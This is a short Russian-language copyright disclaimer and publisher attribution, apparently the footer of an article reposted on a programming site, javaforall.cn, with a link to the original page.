Заявление об авторских правах: Содержание этой статьи добровольно предоставлено пользователями Интернета, а мнения, выраженные в этой статье, представляют собой только точку зрения автора. Данный сайт лишь предоставляет услуги по хранению информации, не имеет никаких прав собственности и не несет соответствующей юридической ответственности. Если вы обнаружите на этом сайте какое-либо подозрительное нарушение авторских прав/незаконный контент, отправьте электронное письмо, чтобы сообщить. После проверки этот сайт будет немедленно удален.
Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/179953.html Исходная ссылка: https://javaforall.cn